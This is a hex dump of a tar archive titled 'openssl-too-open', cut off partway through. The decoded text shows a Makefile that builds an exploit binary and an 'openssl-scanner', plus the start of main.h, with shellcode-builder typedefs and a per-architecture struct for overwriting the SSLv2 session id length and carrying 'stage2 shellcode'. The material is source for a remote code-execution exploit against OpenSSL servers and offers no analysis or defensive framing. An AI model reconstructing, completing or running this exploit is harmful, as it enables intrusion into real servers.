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MacOS 8.1

Win98

DOS

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+--------+-------------------------+-------------------------+--------+--------+
|00000000| 6f 70 65 6e 73 73 6c 2d | 74 6f 6f 2d 6f 70 65 6e |openssl-|too-open|
|00000010| 2f 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |/.......|........|
|00000020| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000030| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000040| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000050| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000060| 00 00 00 00 30 30 34 32 | 37 35 35 00 30 30 30 31 |....0042|755.0001|
|00000070| 37 35 30 00 30 30 30 31 | 37 35 31 00 30 30 30 30 |750.0001|751.0000|
|00000080| 30 30 30 30 30 30 30 00 | 30 37 35 34 31 37 30 37 |0000000.|07541707|
|00000090| 35 37 36 00 30 31 34 32 | 34 30 00 20 35 00 00 00 |576.0142|40. 5...|
|000000a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000000b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000000c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000000d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000000e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000000f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000100| 00 75 73 74 61 72 20 20 | 00 73 6c 75 6e 63 68 6f |.ustar  |.sluncho|
|00000110| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000120| 00 00 00 00 00 00 00 00 | 00 73 6c 75 6e 63 68 6f |........|.sluncho|
|00000130| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000140| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000150| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000160| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000170| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000180| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000190| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000001a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000001b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000001c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000001d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000001e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000001f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000200| 6f 70 65 6e 73 73 6c 2d | 74 6f 6f 2d 6f 70 65 6e |openssl-|too-open|
|00000210| 2f 4d 61 6b 65 66 69 6c | 65 00 00 00 00 00 00 00 |/Makefil|e.......|
|00000220| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000230| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000240| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000250| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000260| 00 00 00 00 30 31 30 30 | 36 34 34 00 30 30 30 31 |....0100|644.0001|
|00000270| 37 35 30 00 30 30 30 31 | 37 35 31 00 30 30 30 30 |750.0001|751.0000|
|00000280| 30 30 30 31 31 35 30 00 | 30 37 35 34 31 36 37 31 |0001150.|07541671|
|00000290| 36 30 35 00 30 31 35 36 | 36 31 00 20 30 00 00 00 |605.0156|61. 0...|
|000002a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000002b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000002c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000002d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000002e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000002f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000300| 00 75 73 74 61 72 20 20 | 00 73 6c 75 6e 63 68 6f |.ustar  |.sluncho|
|00000310| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000320| 00 00 00 00 00 00 00 00 | 00 73 6c 75 6e 63 68 6f |........|.sluncho|
|00000330| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000340| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000350| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000360| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000370| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000380| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000390| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000003a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000003b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000003c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000003d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000003e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000003f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000400| 43 43 3d 67 63 63 0a 43 | 46 4c 41 47 53 3d 2d 67 |CC=gcc.C|FLAGS=-g|
|00000410| 20 2d 4f 30 20 2d 57 61 | 6c 6c 0a 4c 44 46 4c 41 | -O0 -Wa|ll.LDFLA|
|00000420| 47 53 3d 2d 67 20 2d 6c | 63 72 79 70 74 6f 0a 0a |GS=-g -l|crypto..|
|00000430| 4f 42 4a 53 5f 45 58 3d | 6d 61 69 6e 2e 6f 20 73 |OBJS_EX=|main.o s|
|00000440| 73 6c 32 2e 6f 20 6c 69 | 6e 75 78 2d 78 38 36 2e |sl2.o li|nux-x86.|
|00000450| 6f 0a 53 52 43 53 5f 45 | 58 3d 6d 61 69 6e 2e 63 |o.SRCS_E|X=main.c|
|00000460| 20 73 73 6c 32 2e 63 20 | 6c 69 6e 75 78 2d 78 38 | ssl2.c |linux-x8|
|00000470| 36 2e 63 20 5c 0a 20 20 | 20 20 20 20 20 20 6d 61 |6.c \.  |      ma|
|00000480| 69 6e 2e 68 20 73 73 6c | 32 2e 68 0a 0a 4f 42 4a |in.h ssl|2.h..OBJ|
|00000490| 53 5f 53 43 3d 73 63 61 | 6e 6e 65 72 2e 6f 20 73 |S_SC=sca|nner.o s|
|000004a0| 73 6c 32 2e 6f 0a 53 52 | 43 53 5f 45 58 3d 73 63 |sl2.o.SR|CS_EX=sc|
|000004b0| 61 6e 6e 65 72 2e 63 20 | 73 73 6c 32 2e 63 20 5c |anner.c |ssl2.c \|
|000004c0| 0a 20 20 20 20 20 20 20 | 20 73 63 61 6e 6e 65 72 |.       | scanner|
|000004d0| 2e 68 20 73 73 6c 32 2e | 68 0a 0a 61 6c 6c 3a 20 |.h ssl2.|h..all: |
|000004e0| 6f 70 65 6e 73 73 6c 2d | 74 6f 6f 2d 6f 70 65 6e |openssl-|too-open|
|000004f0| 20 6f 70 65 6e 73 73 6c | 2d 73 63 61 6e 6e 65 72 | openssl|-scanner|
|00000500| 0a 0a 6f 70 65 6e 73 73 | 6c 2d 74 6f 6f 2d 6f 70 |..openss|l-too-op|
|00000510| 65 6e 3a 20 24 28 4f 42 | 4a 53 5f 45 58 29 0a 09 |en: $(OB|JS_EX)..|
|00000520| 24 28 43 43 29 20 24 28 | 4c 44 46 4c 41 47 53 29 |$(CC) $(|LDFLAGS)|
|00000530| 20 2d 6f 20 6f 70 65 6e | 73 73 6c 2d 74 6f 6f 2d | -o open|ssl-too-|
|00000540| 6f 70 65 6e 20 24 28 4f | 42 4a 53 5f 45 58 29 0a |open $(O|BJS_EX).|
|00000550| 0a 6f 70 65 6e 73 73 6c | 2d 73 63 61 6e 6e 65 72 |.openssl|-scanner|
|00000560| 3a 20 24 28 4f 42 4a 53 | 5f 53 43 29 0a 09 24 28 |: $(OBJS|_SC)..$(|
|00000570| 43 43 29 20 24 28 4c 44 | 46 4c 41 47 53 29 20 2d |CC) $(LD|FLAGS) -|
|00000580| 6f 20 6f 70 65 6e 73 73 | 6c 2d 73 63 61 6e 6e 65 |o openss|l-scanne|
|00000590| 72 20 24 28 4f 42 4a 53 | 5f 53 43 29 0a 0a 6d 61 |r $(OBJS|_SC)..ma|
|000005a0| 69 6e 2e 6f 3a 20 6d 61 | 69 6e 2e 68 20 73 73 6c |in.o: ma|in.h ssl|
|000005b0| 32 2e 68 0a 73 63 61 6e | 6e 65 72 2e 6f 3a 20 73 |2.h.scan|ner.o: s|
|000005c0| 73 6c 32 2e 68 0a 73 73 | 6c 32 2e 6f 3a 20 73 73 |sl2.h.ss|l2.o: ss|
|000005d0| 6c 32 2e 68 0a 6c 69 6e | 75 78 2d 70 70 63 2e 6f |l2.h.lin|ux-ppc.o|
|000005e0| 3a 20 6d 61 69 6e 2e 68 | 0a 6c 69 6e 75 78 2d 78 |: main.h|.linux-x|
|000005f0| 38 36 2e 6f 3a 20 6d 61 | 69 6e 2e 68 0a 0a 25 2e |86.o: ma|in.h..%.|
|00000600| 6f 3a 09 25 2e 63 0a 09 | 24 28 43 43 29 20 24 28 |o:.%.c..|$(CC) $(|
|00000610| 43 46 4c 41 47 53 29 20 | 2d 63 20 24 3c 0a 0a 63 |CFLAGS) |-c $<..c|
|00000620| 6c 65 61 6e 3a 0a 09 72 | 6d 20 2d 72 66 20 24 28 |lean:..r|m -rf $(|
|00000630| 4f 42 4a 53 5f 45 58 29 | 20 24 28 4f 42 4a 53 5f |OBJS_EX)| $(OBJS_|
|00000640| 53 43 29 20 6f 70 65 6e | 73 73 6c 2d 74 6f 6f 2d |SC) open|ssl-too-|
|00000650| 6f 70 65 6e 20 6f 70 65 | 6e 73 73 6c 2d 73 63 61 |open ope|nssl-sca|
|00000660| 6e 6e 65 72 20 2a 7e 0a | 00 00 00 00 00 00 00 00 |nner *~.|........|
|00000670| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000680| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000690| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000006a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000006b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000006c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000006d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000006e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000006f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000700| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000710| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000720| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000730| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000740| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000750| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000760| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000770| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000780| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000790| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000007a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000007b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000007c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000007d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000007e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000007f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000800| 6f 70 65 6e 73 73 6c 2d | 74 6f 6f 2d 6f 70 65 6e |openssl-|too-open|
|00000810| 2f 6d 61 69 6e 2e 68 00 | 00 00 00 00 00 00 00 00 |/main.h.|........|
|00000820| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000830| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000840| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000850| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000860| 00 00 00 00 30 31 30 30 | 36 34 34 00 30 30 30 31 |....0100|644.0001|
|00000870| 37 35 30 00 30 30 30 31 | 37 35 31 00 30 30 30 30 |750.0001|751.0000|
|00000880| 30 30 30 34 30 33 35 00 | 30 37 35 34 30 32 34 30 |0004035.|07540240|
|00000890| 35 35 33 00 30 31 35 33 | 31 34 00 20 30 00 00 00 |553.0153|14. 0...|
|000008a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000008b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000008c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000008d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000008e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000008f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000900| 00 75 73 74 61 72 20 20 | 00 73 6c 75 6e 63 68 6f |.ustar  |.sluncho|
|00000910| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000920| 00 00 00 00 00 00 00 00 | 00 73 6c 75 6e 63 68 6f |........|.sluncho|
|00000930| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000940| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000950| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000960| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000970| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000980| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000990| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000009a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000009b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000009c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000009d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000009e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000009f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00000a00| 2f 2a 20 68 6f 73 74 20 | 74 6f 20 62 69 67 20 65 |/* host |to big e|
|00000a10| 6e 64 69 61 6e 20 63 6f | 6e 76 65 72 73 69 6f 6e |ndian co|nversion|
|00000a20| 73 20 2a 2f 0a 23 64 65 | 66 69 6e 65 20 68 74 6f |s */.#de|fine hto|
|00000a30| 62 65 73 28 69 2c 20 70 | 29 09 69 66 20 28 20 28 |bes(i, p|).if ( (|
|00000a40| 28 28 75 69 6e 74 38 5f | 74 2a 29 70 29 5b 30 5d |((uint8_|t*)p)[0]|
|00000a50| 20 3d 20 28 28 28 69 29 | 20 3e 3e 20 38 29 20 26 | = (((i)| >> 8) &|
|00000a60| 20 30 78 66 66 29 29 20 | 7c 20 5c 0a 09 09 09 09 | 0xff)) || \.....|
|00000a70| 09 09 20 20 28 28 28 75 | 69 6e 74 38 5f 74 2a 29 |..  (((u|int8_t*)|
|00000a80| 70 29 5b 31 5d 20 3d 20 | 28 28 69 29 20 26 20 30 |p)[1] = |((i) & 0|
|00000a90| 78 66 66 29 29 20 29 20 | 7b 7d 0a 0a 23 64 65 66 |xff)) ) |{}..#def|
|00000aa0| 69 6e 65 20 68 74 6f 62 | 65 6c 28 69 2c 20 70 29 |ine htob|el(i, p)|
|00000ab0| 09 69 66 20 28 20 28 28 | 28 75 69 6e 74 38 5f 74 |.if ( ((|(uint8_t|
|00000ac0| 2a 29 70 29 5b 30 5d 20 | 3d 20 28 28 28 69 29 20 |*)p)[0] |= (((i) |
|00000ad0| 3e 3e 20 32 34 29 20 26 | 20 30 78 66 66 29 29 20 |>> 24) &| 0xff)) |
|00000ae0| 7c 20 5c 0a 09 09 09 09 | 09 09 20 20 28 28 28 75 || \.....|..  (((u|
|00000af0| 69 6e 74 38 5f 74 2a 29 | 70 29 5b 31 5d 20 3d 20 |int8_t*)|p)[1] = |
|00000b00| 28 28 28 69 29 20 3e 3e | 20 31 36 29 20 26 20 30 |(((i) >>| 16) & 0|
|00000b10| 78 66 66 29 29 20 7c 20 | 5c 0a 09 09 09 09 09 09 |xff)) | |\.......|
|00000b20| 20 20 28 28 28 75 69 6e | 74 38 5f 74 2a 29 70 29 |  (((uin|t8_t*)p)|
|00000b30| 5b 32 5d 20 3d 20 28 28 | 28 69 29 20 3e 3e 20 38 |[2] = ((|(i) >> 8|
|00000b40| 29 20 26 20 30 78 66 66 | 29 29 20 7c 20 5c 0a 09 |) & 0xff|)) | \..|
|00000b50| 09 09 09 09 09 20 20 28 | 28 28 75 69 6e 74 38 5f |.....  (|((uint8_|
|00000b60| 74 2a 29 70 29 5b 33 5d | 20 3d 20 28 28 69 29 20 |t*)p)[3]| = ((i) |
|00000b70| 26 20 30 78 66 66 29 29 | 20 29 20 7b 7d 0a 0a 2f |& 0xff))| ) {}../|
|00000b80| 2a 20 68 6f 73 74 20 74 | 6f 20 6c 69 74 74 6c 65 |* host t|o little|
|00000b90| 20 65 6e 64 69 61 6e 20 | 63 6f 6e 76 65 72 73 69 | endian |conversi|
|00000ba0| 6f 6e 73 20 2a 2f 0a 23 | 64 65 66 69 6e 65 20 68 |ons */.#|define h|
|00000bb0| 74 6f 6c 65 73 28 69 2c | 20 70 29 09 69 66 20 28 |toles(i,| p).if (|
|00000bc0| 20 28 28 28 75 69 6e 74 | 38 5f 74 2a 29 70 29 5b | (((uint|8_t*)p)[|
|00000bd0| 31 5d 20 3d 20 28 28 28 | 69 29 20 3e 3e 20 38 29 |1] = (((|i) >> 8)|
|00000be0| 20 26 20 30 78 66 66 29 | 29 20 7c 20 5c 0a 09 09 | & 0xff)|) | \...|
|00000bf0| 09 09 09 09 20 20 28 28 | 28 75 69 6e 74 38 5f 74 |....  ((|(uint8_t|
|00000c00| 2a 29 70 29 5b 30 5d 20 | 3d 20 28 28 69 29 20 26 |*)p)[0] |= ((i) &|
|00000c10| 20 30 78 66 66 29 29 20 | 29 20 7b 7d 0a 0a 23 64 | 0xff)) |) {}..#d|
|00000c20| 65 66 69 6e 65 20 68 74 | 6f 6c 65 6c 28 69 2c 20 |efine ht|olel(i, |
|00000c30| 70 29 09 69 66 20 28 20 | 28 28 28 75 69 6e 74 38 |p).if ( |(((uint8|
|00000c40| 5f 74 2a 29 70 29 5b 33 | 5d 20 3d 20 28 28 28 69 |_t*)p)[3|] = (((i|
|00000c50| 29 20 3e 3e 20 32 34 29 | 20 26 20 30 78 66 66 29 |) >> 24)| & 0xff)|
|00000c60| 29 20 7c 20 5c 0a 09 09 | 09 09 09 09 20 20 28 28 |) | \...|....  ((|
|00000c70| 28 75 69 6e 74 38 5f 74 | 2a 29 70 29 5b 32 5d 20 |(uint8_t|*)p)[2] |
|00000c80| 3d 20 28 28 28 69 29 20 | 3e 3e 20 31 36 29 20 26 |= (((i) |>> 16) &|
|00000c90| 20 30 78 66 66 29 29 20 | 7c 20 5c 0a 09 09 09 09 | 0xff)) || \.....|
|00000ca0| 09 09 20 20 28 28 28 75 | 69 6e 74 38 5f 74 2a 29 |..  (((u|int8_t*)|
|00000cb0| 70 29 5b 31 5d 20 3d 20 | 28 28 28 69 29 20 3e 3e |p)[1] = |(((i) >>|
|00000cc0| 20 38 29 20 26 20 30 78 | 66 66 29 29 20 7c 20 5c | 8) & 0x|ff)) | \|
|00000cd0| 0a 09 09 09 09 09 09 20 | 20 28 28 28 75 69 6e 74 |....... | (((uint|
|00000ce0| 38 5f 74 2a 29 70 29 5b | 30 5d 20 3d 20 28 28 69 |8_t*)p)[|0] = ((i|
|00000cf0| 29 20 26 20 30 78 66 66 | 29 29 20 29 20 7b 7d 0a |) & 0xff|)) ) {}.|
|00000d00| 0a 2f 2a 20 62 69 67 20 | 65 6e 64 69 61 6e 20 74 |./* big |endian t|
|00000d10| 6f 20 68 6f 73 74 20 63 | 6f 6e 76 65 72 73 69 6f |o host c|onversio|
|00000d20| 6e 73 20 2a 2f 0a 23 64 | 65 66 69 6e 65 20 62 65 |ns */.#d|efine be|
|00000d30| 74 6f 68 73 28 70 29 09 | 09 28 20 28 28 28 75 69 |tohs(p).|.( (((ui|
|00000d40| 6e 74 33 32 5f 74 29 28 | 28 75 69 6e 74 38 5f 74 |nt32_t)(|(uint8_t|
|00000d50| 2a 29 70 29 5b 30 5d 29 | 20 3c 3c 20 38 29 20 7c |*)p)[0])| << 8) ||
|00000d60| 20 5c 0a 09 09 09 09 09 | 09 20 20 28 28 28 75 69 | \......|.  (((ui|
|00000d70| 6e 74 33 32 5f 74 29 28 | 28 75 69 6e 74 38 5f 74 |nt32_t)(|(uint8_t|
|00000d80| 2a 29 70 29 5b 31 5d 29 | 29 20 29 0a 0a 23 64 65 |*)p)[1])|) )..#de|
|00000d90| 66 69 6e 65 20 62 65 74 | 6f 68 6c 28 70 29 09 09 |fine bet|ohl(p)..|
|00000da0| 28 20 28 28 28 75 69 6e | 74 33 32 5f 74 29 28 28 |( (((uin|t32_t)((|
|00000db0| 75 69 6e 74 38 5f 74 2a | 29 70 29 5b 30 5d 29 20 |uint8_t*|)p)[0]) |
|00000dc0| 3c 3c 20 32 34 29 20 7c | 20 5c 0a 09 09 09 09 09 |<< 24) || \......|
|00000dd0| 09 20 20 28 28 28 75 69 | 6e 74 33 32 5f 74 29 28 |.  (((ui|nt32_t)(|
|00000de0| 28 75 69 6e 74 38 5f 74 | 2a 29 70 29 5b 31 5d 29 |(uint8_t|*)p)[1])|
|00000df0| 20 3c 3c 20 31 36 29 20 | 7c 20 5c 0a 09 09 09 09 | << 16) || \.....|
|00000e00| 09 09 20 20 28 28 28 75 | 69 6e 74 33 32 5f 74 29 |..  (((u|int32_t)|
|00000e10| 28 28 75 69 6e 74 38 5f | 74 2a 29 70 29 5b 32 5d |((uint8_|t*)p)[2]|
|00000e20| 29 20 3c 3c 20 38 29 20 | 7c 20 5c 0a 09 09 09 09 |) << 8) || \.....|
|00000e30| 09 09 20 20 28 28 28 75 | 69 6e 74 33 32 5f 74 29 |..  (((u|int32_t)|
|00000e40| 28 28 75 69 6e 74 38 5f | 74 2a 29 70 29 5b 33 5d |((uint8_|t*)p)[3]|
|00000e50| 29 29 20 29 0a 0a 2f 2a | 20 6c 69 74 74 6c 65 20 |)) )../*| little |
|00000e60| 65 6e 64 69 61 6e 20 74 | 6f 20 68 6f 73 74 20 63 |endian t|o host c|
|00000e70| 6f 6e 76 65 72 73 69 6f | 6e 73 20 2a 2f 0a 23 64 |onversio|ns */.#d|
|00000e80| 65 66 69 6e 65 20 6c 65 | 74 6f 68 73 28 70 29 09 |efine le|tohs(p).|
|00000e90| 09 28 20 28 28 28 75 69 | 6e 74 33 32 5f 74 29 28 |.( (((ui|nt32_t)(|
|00000ea0| 28 75 69 6e 74 38 5f 74 | 2a 29 70 29 5b 31 5d 29 |(uint8_t|*)p)[1])|
|00000eb0| 20 3c 3c 20 38 29 20 7c | 20 5c 0a 09 09 09 09 09 | << 8) || \......|
|00000ec0| 09 20 20 28 28 28 75 69 | 6e 74 33 32 5f 74 29 28 |.  (((ui|nt32_t)(|
|00000ed0| 28 75 69 6e 74 38 5f 74 | 2a 29 70 29 5b 30 5d 29 |(uint8_t|*)p)[0])|
|00000ee0| 29 20 29 0a 0a 23 64 65 | 66 69 6e 65 20 6c 65 74 |) )..#de|fine let|
|00000ef0| 6f 68 6c 28 70 29 09 09 | 28 20 28 28 28 75 69 6e |ohl(p)..|( (((uin|
|00000f00| 74 33 32 5f 74 29 28 28 | 75 69 6e 74 38 5f 74 2a |t32_t)((|uint8_t*|
|00000f10| 29 70 29 5b 33 5d 29 20 | 3c 3c 20 32 34 29 20 7c |)p)[3]) |<< 24) ||
|00000f20| 20 5c 0a 09 09 09 09 09 | 09 20 20 28 28 28 75 69 | \......|.  (((ui|
|00000f30| 6e 74 33 32 5f 74 29 28 | 28 75 69 6e 74 38 5f 74 |nt32_t)(|(uint8_t|
|00000f40| 2a 29 70 29 5b 32 5d 29 | 20 3c 3c 20 31 36 29 20 |*)p)[2])| << 16) |
|00000f50| 7c 20 5c 0a 09 09 09 09 | 09 09 20 20 28 28 28 75 || \.....|..  (((u|
|00000f60| 69 6e 74 33 32 5f 74 29 | 28 28 75 69 6e 74 38 5f |int32_t)|((uint8_|
|00000f70| 74 2a 29 70 29 5b 31 5d | 29 20 3c 3c 20 38 29 20 |t*)p)[1]|) << 8) |
|00000f80| 7c 20 5c 0a 09 09 09 09 | 09 09 20 20 28 28 28 75 || \.....|..  (((u|
|00000f90| 69 6e 74 33 32 5f 74 29 | 28 28 75 69 6e 74 38 5f |int32_t)|((uint8_|
|00000fa0| 74 2a 29 70 29 5b 30 5d | 29 29 20 29 0a 0a 74 79 |t*)p)[0]|)) )..ty|
|00000fb0| 70 65 64 65 66 20 75 69 | 6e 74 33 32 5f 74 20 28 |pedef ui|nt32_t (|
|00000fc0| 2a 67 65 74 5f 63 69 70 | 68 65 72 5f 66 75 6e 63 |*get_cip|her_func|
|00000fd0| 29 28 75 6e 73 69 67 6e | 65 64 20 63 68 61 72 2a |)(unsign|ed char*|
|00000fe0| 2c 20 69 6e 74 29 3b 0a | 74 79 70 65 64 65 66 20 |, int);.|typedef |
|00000ff0| 69 6e 74 20 28 2a 62 75 | 69 6c 64 5f 73 68 65 6c |int (*bu|ild_shel|
|00001000| 6c 63 6f 64 65 5f 66 75 | 6e 63 29 28 75 6e 73 69 |lcode_fu|nc)(unsi|
|00001010| 67 6e 65 64 20 63 68 61 | 72 2a 2c 20 69 6e 74 2c |gned cha|r*, int,|
|00001020| 20 69 6e 74 2c 20 75 69 | 6e 74 33 32 5f 74 2c 20 | int, ui|nt32_t, |
|00001030| 75 69 6e 74 33 32 5f 74 | 2c 20 75 69 6e 74 33 32 |uint32_t|, uint32|
|00001040| 5f 74 29 3b 0a 0a 2f 2a | 20 54 68 69 73 20 73 74 |_t);../*| This st|
|00001050| 72 75 63 74 75 72 65 20 | 64 65 66 69 6e 65 73 20 |ructure |defines |
|00001060| 61 20 74 61 72 67 65 74 | 20 61 72 63 68 69 74 65 |a target| archite|
|00001070| 63 74 75 72 65 20 2a 2f | 0a 73 74 72 75 63 74 20 |cture */|.struct |
|00001080| 61 72 63 68 69 74 65 63 | 74 75 72 65 20 7b 0a 09 |architec|ture {..|
|00001090| 63 68 61 72 2a 20 64 65 | 73 63 3b 09 09 2f 2a 20 |char* de|sc;../* |
|000010a0| 64 65 73 63 72 69 70 74 | 69 6f 6e 20 2a 2f 0a 0a |descript|ion */..|
|000010b0| 09 75 6e 73 69 67 6e 65 | 64 20 63 68 61 72 2a 20 |.unsigne|d char* |
|000010c0| 6f 76 65 72 77 72 69 74 | 65 5f 73 65 73 73 69 6f |overwrit|e_sessio|
|000010d0| 6e 5f 69 64 5f 6c 65 6e | 67 74 68 3b 0a 09 69 6e |n_id_len|gth;..in|
|000010e0| 74 20 6f 76 65 72 77 72 | 69 74 65 5f 73 65 73 73 |t overwr|ite_sess|
|000010f0| 69 6f 6e 5f 69 64 5f 6c | 65 6e 67 74 68 5f 6c 65 |ion_id_l|ength_le|
|00001100| 6e 3b 0a 0a 09 2f 2a 20 | 73 74 61 67 65 32 20 73 |n;.../* |stage2 s|
|00001110| 68 65 6c 6c 63 6f 64 65 | 20 2a 2f 0a 09 75 6e 73 |hellcode| */..uns|
|00001120| 69 67 6e 65 64 20 63 68 | 61 72 2a 20 73 68 65 6c |igned ch|ar* shel|
